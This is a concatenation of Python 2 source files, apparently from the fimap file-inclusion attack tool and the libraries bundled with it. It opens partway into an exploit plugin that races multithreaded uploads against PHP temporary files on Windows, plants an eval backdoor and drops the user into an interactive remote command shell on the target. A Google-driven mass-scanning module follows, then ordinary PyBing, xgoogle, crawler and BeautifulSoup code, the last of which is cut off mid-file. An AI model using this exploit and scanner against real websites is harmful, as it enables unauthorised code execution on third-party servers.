attempts you wish: ") try: n = int(tmp) if (n <= 0): print "WTH. Zero or less attempts are not smart bro." else: self.maxAttempts = n print "MaxAttempts changed to: %s" %(self.maxAttemps) except: print "Invalid number." elif (idx == 4): tmp = raw_input("Please type in the number of threads you wish: ") try: n = int(tmp) if (n <= 0): print "WTH. Zero or less threads are not smart bro." else: self.maxThreads = n print "MaxThreads changed to: %s" %(self.maxThreads) except: print "Invalid number." elif (idx == 5): self.egg = raw_input("Please type location where to try to drop the egg.\nPlease no trailing '\\' :") print "EggDrop location changed to: %s" %(self.egg) elif (idx == 6): self.lotteryTicket = raw_input("Please type in your new lottery ticket: ") print "LotteryTicket changed to: %s" %(self.lotteryTicket) elif(idx == 0): print "This plugin uses a bug in the windows PHP versions which allows basicly to" print "use jokers while including files." print "You have to know the absolute path to the temporary directory where PHP" print "will store its temporary files." print "The plugin will then upload specially crafted files and tries to include" print "them using your 'LotteryTicket' you can provide." print "Your 'LotteryTicket' should contain a FindFirstFile compatible wildcard." print "Print by default the 'LotteryTicket' is phpA<tmp which you can basicly translate to:" print "'phpA*tmp'." print "Once the plugin managed to exploit this vulnerability you will be prompted to the" print "fimap lite shell which you should replace with your own shell asap." elif (idx == 7): if (self.remotetmpdir != None and self.remotetmpdir != ""): print "Launching attack..." path, postdata, header, trash = haxhelper.getHaxDataForCustomFile(self.remotetmpdir + "\\" + self.lotteryTicket) if (self.createEgg(haxhelper, path, postdata)): # SUCCESSFULLY CREATED EVAL SHELL AT self.egg shell_banner = "fimap_eggshell> " lang = haxhelper.langClass quiz, answer = lang.generateQuiz() #Since it's eval'd we remove the stuff... quiz = quiz.replace("<?php", "") quiz = quiz.replace("?>", "") path, postdata, header, trash = haxhelper.getHaxDataForCustomFile(self.egg) domain = urlparse.urlsplit(haxhelper.getURL())[1] url = urlparse.urljoin("http://" + domain, path) post = "" if (postdata != ""): post = postdata + "&" post += urllib.urlencode({"data": base64.b64encode(quiz)}) res = haxhelper.doRequest(url, post, header) if (res.find(answer) != -1): print "PHP Code Injection thru EggDrop works!" xmlconfig = haxhelper.parent_codeinjector.config["XML2CONFIG"] shellquiz, shellanswer = xmlconfig.generateShellQuiz(haxhelper.isUnix()) shell_test_code = shellquiz shell_test_result = shellanswer for item in self.lang.getExecMethods(): name = item.getName() payload = None if (item.isUnix() and haxhelper.isUnix()) or (item.isWindows() and haxhelper.isWindows()): self._log("Testing execution thru '%s'..."%(name), self.LOG_INFO) code = item.generatePayload(shell_test_code) code = code.replace("<?php", "") code = code.replace("?>", "") testload = urllib.urlencode({"data": base64.b64encode(code)}) if (postdata != ""): testload = "%s&%s" %(postdata, testload) code = self.doPostRequest(url, testload, header) if code != None and code.find(shell_test_result) != -1: working_shell = item self._log("Execution thru '%s' works!"%(name), self.LOG_ALWAYS) print "--------------------------------------------------------------------" print "Welcome to the fimap_eggshell!" print "This is a lite version of the fimap shell." print "Consider this shell as a temporary shell you should get rid of asap." print "Upload your own shell to be on the safe side." print "--------------------------------------------------------------------" payload = raw_input(shell_banner) while (payload != "q" and payload != "Q"): payload = item.generatePayload(payload) payload = payload.replace("<?php", "") payload = payload.replace("?>", "") payload = urllib.urlencode({"data": base64.b64encode(payload)}) if (postdata != ""): payload = "%s&%s" %(postdata, payload) code = self.doPostRequest(url, payload, header) print code payload = raw_input(shell_banner) return else: self._log("Skipping execution method '%s'..."%(name), self.LOG_DEBUG) else: print "PHP Code Injection thru EggDrop failed :(" return else: print "No Remote Temporary Directory defined." except (ValueError): pass def createEgg(self, haxhelper, path, postdata): host = urlparse.urlsplit(haxhelper.getURL())[1] runningThreads = [] attempt = 1 success = False while (attempt < self.maxAttempts or len(runningThreads) > 0): if (len(runningThreads) < self.maxThreads and attempt < self.maxAttempts): content = self.HTTP_DATA content = content.replace("__HOST__", host) content = content.replace("__PATH__", path) content = content.replace("__SIZE_OF_FILE__", str(len(self.payload))) content = content.replace("__FILE_CONTENT__", self.payload) if (postdata == None or postdata == ""): content = content.replace("__POST__", "") else: content = content.replace("__POST__", postdata + "&") newThread = ProbeThread(host, 80, content, haxhelper, self.display) runningThreads.append(newThread) newThread.start() print "Thread Attempt %d started..." %(attempt) attempt+=1 for probe in runningThreads: if (probe.finished): runningThreads.remove(probe) if probe.foundShell: success = True if (success): break if (success): print "Egg dropped successfully!" print "Waiting for remaining threads to finish..." print "Hit CTRL+C to just kill the threads like an arse." try: while(len(runningThreads) > 0): for t in runningThreads: if t.finished: runningThreads.remove(t) except KeyboardInterrupt: while(len(runningThreads) > 0): runningThreads.remove(0) print "Carelessly ignoring threads..." print "Finished." return(success) class ProbeThread(threading.Thread): def __init__(self, host, port, http_content, haxhelper, display): threading.Thread.__init__(self) self.finished = False self.foundShell = False self.host = host self.port = port self.content = http_content self.hax = haxhelper self.display = display def run(self): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #print "Connecting to %s:%s" %(self.host, self.port) try: sock.connect((self.host, self.port)) sock.send(self.content) sock.settimeout(1) receivedData = "" tmpData = "" while(True): time.sleep(0.1) try: tmpData = sock.recv(4096) except: continue if not tmpData: break; receivedData += tmpData if (receivedData.find(self.display) != -1): self.foundShell = True break if (tmpData == "") or tmpData.endswith("0\r\n\r\n"): break except: pass sock.close() self.finished = True
Python
# # This file is part of fimap. # # Copyright(c) 2009-2012 Iman Karim(ikarim2s@smail.inf.fh-brs.de). # http://fimap.googlecode.com # # This file may be licensed under the terms of of the # GNU General Public License Version 2 (the ``GPL''). # # Software distributed under the License is distributed # on an ``AS IS'' basis, WITHOUT WARRANTY OF ANY KIND, either # express or implied. See the GPL for the specific language # governing rights and limitations. # # You should have received a copy of the GPL along with this # program. If not, go to http://www.gnu.org/licenses/gpl.html # or write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # from singleScan import singleScan from targetScanner import targetScanner from xgoogle.search import GoogleSearch import datetime import sys,time __author__="Iman Karim(ikarim2s@smail.inf.fh-brs.de)" __date__ ="$01.09.2009 06:55:16$" class googleScan: def __init__(self, config): self.config = config self.gs = GoogleSearch(self.config["p_query"], page=self.config["p_skippages"], random_agent=True) self.gs.results_per_page = self.config["p_results_per_query"]; self.cooldown = self.config["p_googlesleep"]; if (self.config["p_skippages"] > 0): print "Google Scanner will skip the first %d pages..."%(self.config["p_skippages"]) def getNextPage(self): results = self.gs.get_results() return(results) def startGoogleScan(self): print "Querying Google Search: '%s' with max pages %d..."%(self.config["p_query"], self.config["p_pages"]) pagecnt = 0 curtry = 0 last_request_time = datetime.datetime.now() while(pagecnt < self.config["p_pages"]): pagecnt = pagecnt +1 redo = True while (redo): try: current_time = datetime.datetime.now() diff = current_time - last_request_time diff = int(diff.seconds) if (diff <= self.cooldown): if (diff > 0): print "Commencing %ds google cooldown..." %(self.cooldown - diff) time.sleep(self.cooldown - diff) last_request_time = datetime.datetime.now() results = self.getNextPage() redo = False except KeyboardInterrupt: raise except Exception, err: print err redo = True sys.stderr.write("[RETRYING PAGE %d]\n" %(pagecnt)) curtry = curtry +1 if (curtry > self.config["p_maxtries"]): print "MAXIMAL COUNT OF (RE)TRIES REACHED!" sys.exit(1) curtry = 0 if (len(results) == 0): break sys.stderr.write("[PAGE %d]\n" %(pagecnt)) try: for r in results: single = singleScan(self.config) single.setURL(r.url) single.setQuite(True) single.scan() except KeyboardInterrupt: raise time.sleep(1) print "Google Scan completed."
Python
# This file is part of PyBing (http://pybing.googlecode.com). # # Copyright (C) 2009 JJ Geewax http://geewax.org/ # All rights reserved. # # This software is licensed as described in the file COPYING.txt, # which you should have received as part of this distribution. """ This module holds the Bing class which is used to create and execute queries against Bing. """ import urllib, httplib2 # Issue #1 (http://code.google.com/p/pybing/issues/detail?id=1) # Python 2.6 has json built in, 2.5 needs simplejson try: import json except ImportError: import simplejson as json from pybing import constants class Bing(object): def __init__(self, app_id): self.app_id = app_id def search(self, query, source_type=None, api_version=None, extra_params=None, **kwargs): kwargs.update({ 'AppId': self.app_id, 'Version': api_version or constants.API_VERSION, 'Query': query, 'Sources': source_type or constants.DEFAULT_SOURCE_TYPE, }) if extra_params: kwargs.update(extra_params) query_string = urllib.urlencode(kwargs) response, contents = httplib2.Http().request(constants.JSON_ENDPOINT + '?' + query_string) return json.loads(contents) def search_web(self, query, params): return self.search(query, source_type=constants.WEB_SOURCE_TYPE, extra_params=params) def search_image(self, query): return self.search(query, source_type=constants.IMAGE_SOURCE_TYPE) def search_news(self, query): return self.search(query, source_type=constants.NEWS_SOURCE_TYPE) def search_spell(self, query): return self.search(query, source_type=constants.SPELL_SOURCE_TYPE) def search_related(self, query): return self.search(query, source_type=constants.RELATED_SOURCE_TYPE) def search_phonebook(self, query): return self.search(query, source_type=constants.PHONEBOOK_SOURCE_TYPE) def search_answers(self, query): return self.search(query, source_type=constants.ANSWERS_SOURCE_TYPE)
Python
# This file is part of PyBing (http://pybing.googlecode.com). # # Copyright (C) 2009 JJ Geewax http://geewax.org/ # All rights reserved. # # This software is licensed as described in the file COPYING.txt, # which you should have received as part of this distribution. """ This module holds the logic for dealing with a set of results from a query. """ from pybing import constants from pybing.query import BingQuery, Pagable class BingResultSet(object): """ This class corresponds to a set of results from a BingQuery. """ def __init__(self, query, offset=0, count=None): if not isinstance(query, BingQuery): raise TypeError, 'query must be a BingQuery instance' self.query = query self.results = {} # These offset + count are used internally to signify whether or # not the query should be cut down (whether they've been sliced). self.offset, self.count = offset, count def get_offset(self, index=0): return self.query.offset + self.offset + index def __getitem__(self, key): """ Allows you to grab an index or slice a query with array notation like resultset[4] or resultset[0:4] """ if not isinstance(self.query, Pagable): raise TypeError, 'Array access only supported on Pagable Queries' if isinstance(key, int): absolute_index = self.get_offset() if absolute_index < 0 or absolute_index >= constants.MAX_RESULTS: raise IndexError if absolute_index not in self.results: # Make a copy of the query for only this one result: query = self.query.set_offset(absolute_index).set_count(1) results = query.get_search_results() if results: self.results[absolute_index] = results[0] return self.results.get(absolute_index) elif isinstance(key, slice): # Return a new result set that is sliced internally (not the query) offset = key.start or 0 if key.stop: count = key.stop - offset else: count = None return BingResultSet(self.query, self.offset + offset, count) else: raise TypeError def __len__(self): """ Returns the number of results if you were to iterate over this result set. This is at least 0 and at most 1000. """ count = constants.MAX_RESULTS if self.count: count = self.count elif self.query.count: count = self.query.count if count > constants.MAX_RESULTS: count = constants.MAX_RESULTS if count == constants.MAX_RESULTS: count = count - self.get_offset() return count def __iter__(self): """ Allows you to iterate over the search results in the standard Python format such as for result in my_query.execute(): print result.title, result.url """ query = self.query.set_offset(self.get_offset()) end_index = constants.MAX_RESULTS # If we've internally sliced out items if self.count: query = query.set_count(self.count if self.count < constants.MAX_PAGE_SIZE else constants.MAX_PAGE_SIZE) end_index = self.get_offset() + self.count if end_index > constants.MAX_RESULTS: end_index = constants.MAX_RESULTS # If we want to just go until the end, grab them the most per page if not query.count: query.set_count(constants.MAX_PAGE_SIZE) while query.offset < end_index: # If we don't have a full page left, only grab up to the end count = end_index - query.offset if count and count < constants.MAX_PAGE_SIZE: query = query.set_count(count) # Yield back each result for result in query.get_search_results(): yield result # Update the offset to move onto the next page query = query.set_offset(query.offset + query.count) def __repr__(self): return '<BingResultSet (%s)>' % self.query
Python
# This file is part of PyBing (http://pybing.googlecode.com). # # Copyright (C) 2009 JJ Geewax http://geewax.org/ # All rights reserved. # # This software is licensed as described in the file COPYING.txt, # which you should have received as part of this distribution. """ This module holds a mixin to specify a query class you can page through using the count and offset parameter. """ from mixin import QueryMixin class Pagable(QueryMixin): """ This class is a mixin used with BingQuery classes to specify that queries can be paged through using the offset and count parameters. Some examples of Pagable requests are WebRequests and VideoRequests. Some non-Pagable requests are TranslationRequests and SearchRequests with the Spell source type. From the Bing API: - Count specifies the number of results to return per Request. - Offset specifies the offset requested, from zero, for the starting point of the result set to be returned for this Request. Note: This mixin currently supports only a single Source Type query. """ def __init__(self, *args, **kwargs): self._count = None self._offset = 0 super(Pagable, self).__init__(*args, **kwargs) def execute(self, *args, **kwargs): if self.count and self.offset and self.count + self.offset > 1000: raise ValueError, "Count + Offset must be less than 1000" super(Pagable, self).execute(*args, **kwargs) def get_request_parameters(self): params = super(Pagable, self).get_request_parameters() if self.count: params['%s.Count' % self.SOURCE_TYPE] = self.count if self.offset: params['%s.Offset' % self.SOURCE_TYPE] = self.offset return params @property def count(self): return self._count def set_count(self, value): if value is not None: if value < 1: raise ValueError, 'Count must be positive' elif value > 50: raise ValueError, 'Count must be less than 50' obj = self._clone() obj._count = value return obj @property def offset(self): return self._offset def set_offset(self, value): if value < 0: raise ValueError, 'Offset must be positive' elif value > 1000: raise ValueError, 'Offset must be less than 1000' obj = self._clone() obj._offset = value return obj
Python
# This file is part of PyBing (http://pybing.googlecode.com). # # Copyright (C) 2009 JJ Geewax http://geewax.org/ # All rights reserved. # # This software is licensed as described in the file COPYING.txt, # which you should have received as part of this distribution. """ This module holds the base Query class used by the various types of Bing queries. """ import copy, urllib, httplib2 # Issue #1 (http://code.google.com/p/pybing/issues/detail?id=1) # Python 2.6 has json built in, 2.5 needs simplejson try: import json except ImportError: import simplejson as json from pybing import constants from pybing.query.mixin import QueryMixin class BingQuery(QueryMixin): SOURCE_TYPE = None def __init__(self, app_id, query=None, version=None, *args, **kwargs): self.app_id = app_id self.version = version or constants.API_VERSION self._query = query # Needed for mixin's __init__'s to be called. super(BingQuery, self).__init__(*args, **kwargs) def set_query(self, query): if not query: raise ValueError, 'Query cannot be empty or None' obj = self._clone() obj._query = query return obj @property def query(self): return self._query def execute(self): if not self.query: raise ValueError, 'Query cannot be empty or None' elif not self.SOURCE_TYPE: raise ValueError, 'Source Type cannot be empty or None' from pybing.resultset import BingResultSet return BingResultSet(self) def get_request_parameters(self): params = super(BingQuery, self).get_request_parameters() params.update({ 'AppId': self.app_id, 'Version': self.version, 'Query': self.query, 'Sources': self.SOURCE_TYPE, }) return params def get_request_url(self): query_string = urllib.urlencode(self.get_request_parameters()) return constants.JSON_ENDPOINT + '?' + query_string def get_search_response(self): contents = self._get_url_contents(self.get_request_url()) return json.loads(contents)['SearchResponse'][self.SOURCE_TYPE] def get_search_results(self): from pybing.result import BingResult response = self.get_search_response() return [BingResult(result) for result in response['Results']] def _get_url_contents(self, url): response, contents = httplib2.Http().request(url) return contents def _clone(self): """ Do a deep copy of this object returning a clone that can be modified without affecting the old copy. """ return copy.deepcopy(self) def __unicode__(self): return 'BingQuery: %s' % self.get_request_url() __str__ = __unicode__ def __repr__(self): return '<%s>' % unicode(self)
Python
# This file is part of PyBing (http://pybing.googlecode.com). # # Copyright (C) 2009 JJ Geewax http://geewax.org/ # All rights reserved. # # This software is licensed as described in the file COPYING.txt, # which you should have received as part of this distribution. """ This module holds the Bing WebQuery class used to do web searches against Bing. """ from pybing import constants from pybing.query import BingQuery, Pagable class WebQuery(BingQuery, Pagable): SOURCE_TYPE = constants.WEB_SOURCE_TYPE
Python
# This file is part of PyBing (http://pybing.googlecode.com). # # Copyright (C) 2009 JJ Geewax http://geewax.org/ # All rights reserved. # # This software is licensed as described in the file COPYING.txt, # which you should have received as part of this distribution. """ This module holds the QueryMixin base class used for all queries. """ class QueryMixin(object): """ Any methods that might be mixed into queries should extend this base class. """ def get_request_parameters(self): params = {} # Since we're mixing in, super() may or may not have the attribute sup = super(QueryMixin, self) if hasattr(sup, 'get_request_parameters'): params = sup.get_request_parameters() return params
Python
# This file is part of PyBing (http://pybing.googlecode.com). # # Copyright (C) 2009 JJ Geewax http://geewax.org/ # All rights reserved. # # This software is licensed as described in the file COPYING.txt, # which you should have received as part of this distribution. # Mixins from mixin import QueryMixin from pagable import Pagable # Base Query from query import BingQuery # Concrete Queries from web import WebQuery
Python
# This file is part of PyBing (http://pybing.googlecode.com). # # Copyright (C) 2009 JJ Geewax http://geewax.org/ # All rights reserved. # # This software is licensed as described in the file COPYING.txt, # which you should have received as part of this distribution. """ This module holds the any constants used when querying Bing. """ API_VERSION = '2.0' JSON_ENDPOINT = 'http://api.search.live.net/json.aspx' MAX_PAGE_SIZE = 50 MAX_RESULTS = 1000 WEB_SOURCE_TYPE = 'Web' IMAGE_SOURCE_TYPE = 'Image' NEWS_SOURCE_TYPE = 'News' SPELL_SOURCE_TYPE = 'Spell' RELATED_SOURCE_TYPE = 'RelatedSearch' PHONEBOOK_SOURCE_TYPE = 'Phonebook' ANSWERS_SOURCE_TYPE = 'InstanceAnswer' SOURCE_TYPES = ( WEB_SOURCE_TYPE, IMAGE_SOURCE_TYPE, NEWS_SOURCE_TYPE, SPELL_SOURCE_TYPE, RELATED_SOURCE_TYPE, PHONEBOOK_SOURCE_TYPE, ANSWERS_SOURCE_TYPE, ) DEFAULT_SOURCE_TYPE = WEB_SOURCE_TYPE
Python
# This file is part of PyBing (http://pybing.googlecode.com). # # Copyright (C) 2009 JJ Geewax http://geewax.org/ # All rights reserved. # # This software is licensed as described in the file COPYING.txt, # which you should have received as part of this distribution. from bing import Bing
Python
# This file is part of PyBing (http://pybing.googlecode.com). # # Copyright (C) 2009 JJ Geewax http://geewax.org/ # All rights reserved. # # This software is licensed as described in the file COPYING.txt, # which you should have received as part of this distribution. """ This module holds the base BingResult class. """ class BingResult(object): """ The base BingResult class corresponds to a single result from a Bing Query response. """ def __init__(self, result): if isinstance(result, dict): self.load_from_dict(result) else: raise TypeError, 'Invalid result type' def load_from_dict(self, data): for key, value in data.iteritems(): setattr(self, key.lower(), value) def __repr__(self): return '<BingResult>'
Python
# # This file is part of fimap. # # Copyright(c) 2009-2012 Iman Karim(ikarim2s@smail.inf.fh-brs.de). # http://fimap.googlecode.com # # This file may be licensed under the terms of of the # GNU General Public License Version 2 (the ``GPL''). # # Software distributed under the License is distributed # on an ``AS IS'' basis, WITHOUT WARRANTY OF ANY KIND, either # express or implied. See the GPL for the specific language # governing rights and limitations. # # You should have received a copy of the GPL along with this # program. If not, go to http://www.gnu.org/licenses/gpl.html # or write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # import os.path from xgoogle.BeautifulSoup import BeautifulSoup import os, urllib2, urllib, socket __author__="Iman Karim(ikarim2s@smail.inf.fh-brs.de)" __date__ ="$09.09.2009 21:52:30$" class crawler: def __init__(self, config): self.goodTypes = ("html", "php", "php4", "php5", "jsp", "htm", "py", "pl", "asp", "cgi", "/") self.config = config self.urlpool = [] def crawl(self): root_url = self.config["p_url"] outfile = open(self.config["p_write"], "a") idx = 0 print "[%d] Going to root URL: '%s'..." %(idx, root_url) if (self.countChar(root_url, "/") == 2): root_url = root_url + "/" self.crawl_url(root_url) while(len(self.urlpool)-idx > 0): url , level = self.urlpool[idx] url = self.__encodeURL(url) print "[Done: %d | Todo: %d | Depth: %d] Going for next URL: '%s'..." %(idx, len(self.urlpool) - idx, level, url) outfile.write(url + "\n") self.crawl_url(url, level) idx = idx +1 print "Harvesting done." outfile.close() def countChar(self, word, c): cnt = 0 for w in word: if w == c: cnt += 1 return(cnt) def crawl_url(self, url, level=0): if (url.count("/") == 2): # If the user provides 'http://www.google.com' append an / to it. url += "/" code = self.__simpleGetRequest(url) domain = self.getDomain(url, True) if (code != None): soup = None try: soup = BeautifulSoup(code) except: pass if soup != None: for tag in soup.findAll('a'): isCool = False new_url = None try: new_url = tag['href'] except KeyError, err: pass if new_url != None and not new_url.startswith("#") and not new_url.startswith("javascript:"): if(new_url.startswith("http://") or new_url.startswith("https://")): if (new_url.lower().startswith(domain.lower())): isCool = True else: if (new_url.startswith("/")): new_url = os.path.join(domain, new_url[1:]) else: new_url = os.path.join(os.path.dirname(url), new_url) isCool = True if (isCool and self.isURLinPool(new_url)): isCool = False if (isCool): tmpUrl = new_url if (tmpUrl.find("?") != -1): tmpUrl = tmpUrl[:tmpUrl.find("?")] for suffix in self.goodTypes: if (tmpUrl.endswith(suffix)): if (level+1 <= self.config["p_depth"]): self.urlpool.append((new_url, level+1)) break def isURLinPool(self, url): for u, l in self.urlpool: if u.lower() == url.lower(): return True return False def __simpleGetRequest(self, URL, TimeOut=10): try: try: opener = urllib2.build_opener() opener.addheaders = [('User-agent', self.config["p_useragent"])] f = opener.open(URL, timeout=TimeOut) # TIMEOUT ret = f.read() f.close() return(ret) except TypeError, err: try: # Python 2.5 compatiblity socket.setdefaulttimeout(TimeOut) f = opener.open(URL) ret = f.read() f.close() return(ret) except Exception, err: raise except: raise except Exception, err: print "Failed to to request to '%s'" %(Exception) print err return(None) def getDomain(self, url=None, keepPrefix=False, keepPort=False): if url==None: url = self.URL domain = url[url.find("//")+2:] prefix = url[:url.find("//")+2] if (not domain.endswith("/")): domain = domain + "/" domain = domain[:domain.find("/")] if (not keepPort and domain.find(":") != -1): domain = domain[:domain.find(":")] if (keepPrefix): domain = prefix + domain return(domain) def __encodeURL(self, url): ret = "" for c in url.encode("utf-8"): if c.isalnum() or c in ("=", "?", "&", ":", "/", ".", ",", "_", "-", "+", "#"): ret = ret + c else: ret = ret + "%" + (hex(ord(c))[2:]) return(ret)
Python
#!/usr/bin/python # # Peteris Krumins (peter@catonmat.net) # http://www.catonmat.net -- good coders code, great reuse # # http://www.catonmat.net/blog/python-library-for-google-sets/ # # Code is licensed under MIT license. # import re import urllib import random from htmlentitydefs import name2codepoint from BeautifulSoup import BeautifulSoup from browser import Browser, BrowserError class GSError(Exception): """ Google Sets Error """ pass class GSParseError(Exception): """ Parse error in Google Sets results. self.msg attribute contains explanation why parsing failed self.tag attribute contains BeautifulSoup object with the most relevant tag that failed to parse Thrown only in debug mode """ def __init__(self, msg, tag): self.msg = msg self.tag = tag def __str__(self): return self.msg def html(self): return self.tag.prettify() LARGE_SET = 1 SMALL_SET = 2 class GoogleSets(object): URL_LARGE = "http://labs.google.com/sets?hl=en&q1=%s&q2=%s&q3=%s&q4=%s&q5=%s&btn=Large+Set" URL_SMALL = "http://labs.google.com/sets?hl=en&q1=%s&q2=%s&q3=%s&q4=%s&q5=%s&btn=Small+Set+(15+items+or+fewer)" def __init__(self, items, random_agent=False, debug=False): self.items = items self.debug = debug self.browser = Browser(debug=debug) if random_agent: self.browser.set_random_user_agent() def get_results(self, set_type=SMALL_SET): page = self._get_results_page(set_type) results = self._extract_results(page) return results def _maybe_raise(self, cls, *arg): if self.debug: raise cls(*arg) def _get_results_page(self, set_type): if set_type == LARGE_SET: url = GoogleSets.URL_LARGE else: url = GoogleSets.URL_SMALL safe_items = [urllib.quote_plus(i) for i in self.items] blank_items = 5 - len(safe_items) if blank_items > 0: safe_items += ['']*blank_items safe_url = url % tuple(safe_items) try: page = self.browser.get_page(safe_url) except BrowserError, e: raise GSError, "Failed getting %s: %s" % (e.url, e.error) return BeautifulSoup(page) def _extract_results(self, soup): a_links = soup.findAll('a', href=re.compile('/search')) ret_res = [a.string for a in a_links] return ret_res
Python
"""Beautiful Soup Elixir and Tonic "The Screen-Scraper's Friend" http://www.crummy.com/software/BeautifulSoup/ Beautiful Soup parses a (possibly invalid) XML or HTML document into a tree representation. It provides methods and Pythonic idioms that make it easy to navigate, search, and modify the tree. A well-formed XML/HTML document yields a well-formed data structure. An ill-formed XML/HTML document yields a correspondingly ill-formed data structure. If your document is only locally well-formed, you can use this library to find and process the well-formed part of it. Beautiful Soup works with Python 2.2 and up. It has no external dependencies, but you'll have more success at converting data to UTF-8 if you also install these three packages: * chardet, for auto-detecting character encodings http://chardet.feedparser.org/ * cjkcodecs and iconv_codec, which add more encodings to the ones supported by stock Python. http://cjkpython.i18n.org/ Beautiful Soup defines classes for two main parsing strategies: * BeautifulStoneSoup, for parsing XML, SGML, or your domain-specific language that kind of looks like XML. * BeautifulSoup, for parsing run-of-the-mill HTML code, be it valid or invalid. This class has web browser-like heuristics for obtaining a sensible parse tree in the face of common HTML errors. Beautiful Soup also defines a class (UnicodeDammit) for autodetecting the encoding of an HTML or XML document, and converting it to Unicode. Much of this code is taken from Mark Pilgrim's Universal Feed Parser. For more than you ever wanted to know about Beautiful Soup, see the documentation: http://www.crummy.com/software/BeautifulSoup/documentation.html Here, have some legalese: Copyright (c) 2004-2007, Leonard Richardson All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the the Beautiful Soup Consortium and All Night Kosher Bakery nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE, DAMMIT. """ from __future__ import generators __author__ = "Leonard Richardson (leonardr@segfault.org)" __version__ = "3.0.6" __copyright__ = "Copyright (c) 2004-2008 Leonard Richardson" __license__ = "New-style BSD" from sgmllib import SGMLParser, SGMLParseError import codecs import types import re import sgmllib try: from htmlentitydefs import name2codepoint except ImportError: name2codepoint = {} #This hack makes Beautiful Soup able to parse XML with namespaces sgmllib.tagfind = re.compile('[a-zA-Z][-_.:a-zA-Z0-9]*') DEFAULT_OUTPUT_ENCODING = "utf-8" # First, the classes that represent markup elements. class PageElement: """Contains the navigational information for some part of the page (either a tag or a piece of text)""" def setup(self, parent=None, previous=None): """Sets up the initial relations between this element and other elements.""" self.parent = parent self.previous = previous self.next = None self.previousSibling = None self.nextSibling = None if self.parent and self.parent.contents: self.previousSibling = self.parent.contents[-1] self.previousSibling.nextSibling = self def replaceWith(self, replaceWith): oldParent = self.parent myIndex = self.parent.contents.index(self) if hasattr(replaceWith, 'parent') and replaceWith.parent == self.parent: # We're replacing this element with one of its siblings. index = self.parent.contents.index(replaceWith) if index and index < myIndex: # Furthermore, it comes before this element. That # means that when we extract it, the index of this # element will change. myIndex = myIndex - 1 self.extract() oldParent.insert(myIndex, replaceWith) def extract(self): """Destructively rips this element out of the tree.""" if self.parent: try: self.parent.contents.remove(self) except ValueError: pass #Find the two elements that would be next to each other if #this element (and any children) hadn't been parsed. Connect #the two. lastChild = self._lastRecursiveChild() nextElement = lastChild.next if self.previous: self.previous.next = nextElement if nextElement: nextElement.previous = self.previous self.previous = None lastChild.next = None self.parent = None if self.previousSibling: self.previousSibling.nextSibling = self.nextSibling if self.nextSibling: self.nextSibling.previousSibling = self.previousSibling self.previousSibling = self.nextSibling = None return self def _lastRecursiveChild(self): "Finds the last element beneath this object to be parsed." lastChild = self while hasattr(lastChild, 'contents') and lastChild.contents: lastChild = lastChild.contents[-1] return lastChild def insert(self, position, newChild): if (isinstance(newChild, basestring) or isinstance(newChild, unicode)) \ and not isinstance(newChild, NavigableString): newChild = NavigableString(newChild) position = min(position, len(self.contents)) if hasattr(newChild, 'parent') and newChild.parent != None: # We're 'inserting' an element that's already one # of this object's children. if newChild.parent == self: index = self.find(newChild) if index and index < position: # Furthermore we're moving it further down the # list of this object's children. That means that # when we extract this element, our target index # will jump down one. position = position - 1 newChild.extract() newChild.parent = self previousChild = None if position == 0: newChild.previousSibling = None newChild.previous = self else: previousChild = self.contents[position-1] newChild.previousSibling = previousChild newChild.previousSibling.nextSibling = newChild newChild.previous = previousChild._lastRecursiveChild() if newChild.previous: newChild.previous.next = newChild newChildsLastElement = newChild._lastRecursiveChild() if position >= len(self.contents): newChild.nextSibling = None parent = self parentsNextSibling = None while not parentsNextSibling: parentsNextSibling = parent.nextSibling parent = parent.parent if not parent: # This is the last element in the document. break if parentsNextSibling: newChildsLastElement.next = parentsNextSibling else: newChildsLastElement.next = None else: nextChild = self.contents[position] newChild.nextSibling = nextChild if newChild.nextSibling: newChild.nextSibling.previousSibling = newChild newChildsLastElement.next = nextChild if newChildsLastElement.next: newChildsLastElement.next.previous = newChildsLastElement self.contents.insert(position, newChild) def append(self, tag): """Appends the given tag to the contents of this tag.""" self.insert(len(self.contents), tag) def findNext(self, name=None, attrs={}, text=None, **kwargs): """Returns the first item that matches the given criteria and appears after this Tag in the document.""" return self._findOne(self.findAllNext, name, attrs, text, **kwargs) def findAllNext(self, name=None, attrs={}, text=None, limit=None, **kwargs): """Returns all items that match the given criteria and appear after this Tag in the document.""" return self._findAll(name, attrs, text, limit, self.nextGenerator, **kwargs) def findNextSibling(self, name=None, attrs={}, text=None, **kwargs): """Returns the closest sibling to this Tag that matches the given criteria and appears after this Tag in the document.""" return self._findOne(self.findNextSiblings, name, attrs, text, **kwargs) def findNextSiblings(self, name=None, attrs={}, text=None, limit=None, **kwargs): """Returns the siblings of this Tag that match the given criteria and appear after this Tag in the document.""" return self._findAll(name, attrs, text, limit, self.nextSiblingGenerator, **kwargs) fetchNextSiblings = findNextSiblings # Compatibility with pre-3.x def findPrevious(self, name=None, attrs={}, text=None, **kwargs): """Returns the first item that matches the given criteria and appears before this Tag in the document.""" return self._findOne(self.findAllPrevious, name, attrs, text, **kwargs) def findAllPrevious(self, name=None, attrs={}, 